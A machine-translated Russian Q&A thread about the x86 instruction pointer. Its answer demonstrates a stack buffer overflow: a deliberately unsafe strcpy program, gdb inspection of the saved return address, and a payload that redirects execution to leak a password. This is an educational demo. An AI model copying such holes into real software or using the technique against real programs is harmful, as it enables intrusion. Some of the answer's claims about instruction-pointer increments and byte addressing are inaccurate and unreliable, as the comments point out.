Понимание того, как работает реестр EIP (RIP)?

Я новичок в компьютерной архитектуре и низкоуровневых вещах, которые происходят на уровне процессора / памяти. Я начну с этого. То, что я делал с компьютерами, почти всегда было на высоком уровне программирования. C ++, Java и др.

При этом я сейчас читаю книгу, в которой начинаю разбираться в низкоуровневом программировании, сборке, регистрах, указателях и т. Д. Мне трудно понять, как работает регистр EIP.

Из того, что сказано в книге, каждый адрес памяти имеет один байт, и каждый байт имеет адрес памяти.

Из того, что я читаю о регистре EIP, он указывает на следующий набор инструкций для процессора. При использовании средств отладки (GDB) для чтения книги, если вы исследуете память в определенном месте, скажите:

x / 8xb он якобы позволяет вам проверять первые 8 байтов по адресу памяти. Но если в каждом адресе памяти всего 1 байт, я не понимаю. Может кто-нибудь помочь мне понять это? Я искал подробные объяснения того, как этот регистр работает и функционирует, но я ничего не могу найти


person Aldmeri    schedule 11.12.2014    source источник
comment
Это практический вопрос о конкретной архитектуре, это инженерный вопрос, а не вопрос науки, поэтому я переношу его на сайт, где он по теме.   -  person Gilles 'SO- stop being evil'    schedule 11.12.2014
comment
Он показывает 8 байтов при последовательном увеличении адресов памяти от указанного.   -  person jcoder    schedule 11.12.2014
comment
Не все они находятся по одному и тому же адресу. В этом легко убедиться, если увеличить адрес на один или два, а затем снова отобразить 8 байтов.   -  person harold    schedule 11.12.2014
comment
Когда они говорят 8 байтов по определенному адресу, они имеют в виду 8 байтов в блоке памяти, который начинается с адреса. Второй, третий байты и т. Д. Будут иметь большие адреса.   -  person Seva Alekseyev    schedule 11.12.2014
comment
Вас все еще интересует ответ на вопрос?   -  person Hadi Brais    schedule 10.04.2018


Ответы (1)


указатель инструкций обычно представляет собой регистр (память) микропроцессора, который увеличивается на 4 (4 байтов) для 32-разрядной системы и 8 (т. е. 8 байтов) для 64-разрядной системы, чтобы она указывала на следующую инструкцию.

Когда программа входит в функцию, сохраненный указатель инструкции (ip / rip / eip) является адресом возврата, который является адресом, по которому функция должна вернуться назад после завершения.

Из того, что сказано в книге, каждый адрес памяти имеет один байт, и каждый байт имеет адрес памяти.

Это похоже на 8-битный компьютер, что не является нашей обычной реальной ситуацией. Если мы посмотрим на определенную программу, например:

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

Я могу собрать его и изучить с помощью gdb.

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8

Вы видите выше, что saved rip (указатель инструкции) находится в 0x7fffffffd6c8 со значением 0x5555555547ef (важное различие между тем, где он находится, и тем, что он есть). Я могу намеренно переполнить программу, чтобы перезаписать это значение чем-то еще, что я знаю:

(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit

Теперь я знаю расстояние между name и rip (не значениями, а их местоположениями): 0x7fffffffd6c8 - 0x7fffffffd6b8 = 16. Итак, я записываю 16 байтов в местоположение name, так что я запишу значение rip, и то, что я пишу, является расположение print_my_pwd, которое равно UUUUG: и наоборот, потому что это компьютер с прямым порядком байтов:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$  

Как видите, ввод вызвал переполнение и перезаписал значение указателя инструкции, а также заставил указатель инструкции перейти к местоположению функции, которая печатает пароль.

Не пишите такой код в реальной жизни, но, надеюсь, он поможет понять, как он работает, и не работает, если вы не проверяете границы своего ввода.

person Niklas R.    schedule 04.11.2019
comment
у каждого адреса памяти один байт, и у каждого байта есть адрес памяти. это именно то, что мы имеем на обычных процессорах, таких как x86. Это называется памятью с байтовой адресацией. 32-битная загрузка с адреса загружает байты с 4 разных адресов, выбранных по младшему из 4 адресов. - person Peter Cordes; 05.11.2019
comment
Вы даже не отвечаете на вопрос title; вы говорите об изменении сохраненных значений RIP в стеке, вообще не говоря о том, как они сохраняются (по call) или перезагружаются (по ret). Также важно отметить, что ввод только косвенно перезаписывает значение указателя инструкции. Сам RIP является регистром и не имеет адреса памяти. Несмотря на то, что сообщество эксплойтов называет обратные адреса просто rip (без сохранения RIP или чего-то еще), это всего лишь сокращение. В компьютерной архитектуре указателем инструкции является сам регистр. - person Peter Cordes; 05.11.2019
comment
@PeterCordes каждый адрес памяти имеет один байт - например, регистр на 32-битном микропроцессоре - это память с адресом памяти, и он содержит 32-битное число, которое значительно больше одного байта, не так ли? т это? Или я неправильно понял утверждение? Я также обновил свой ответ ссылкой на указатель счетчика программ / инструкций, в котором говорится, что это вообще такое. Я думаю, что пример переполнения помещает использование ПК в контекст. Для получения подробной информации можно обратиться к книге Хеннесси-Паттерсона или книге Дэвида Харриса (Цифровой дизайн), но ПК предназначен только для потока управления. - person Niklas R.; 05.11.2019
comment
Да, у каждого байта есть свой адрес, но вы все равно можете сказать, что у 7-байтовой инструкции, такой как mov rax, -123, есть адрес, который является адресом ее младшего байта. Хотя байты команд на самом деле поступают с 7 разных адресов. Или для данных mov rax, [rdi] выполняет 8-байтовую загрузку из адреса в RDI. Это адрес байта, но также адрес qword (и word и dword). Но на машинах с адресацией по словам (например, в некоторых DSP) только целые слова имеют отдельные адреса, а наименьшая возможная нагрузка - это слово. en.wikipedia.org/wiki/Word-addressable - person Peter Cordes; 05.11.2019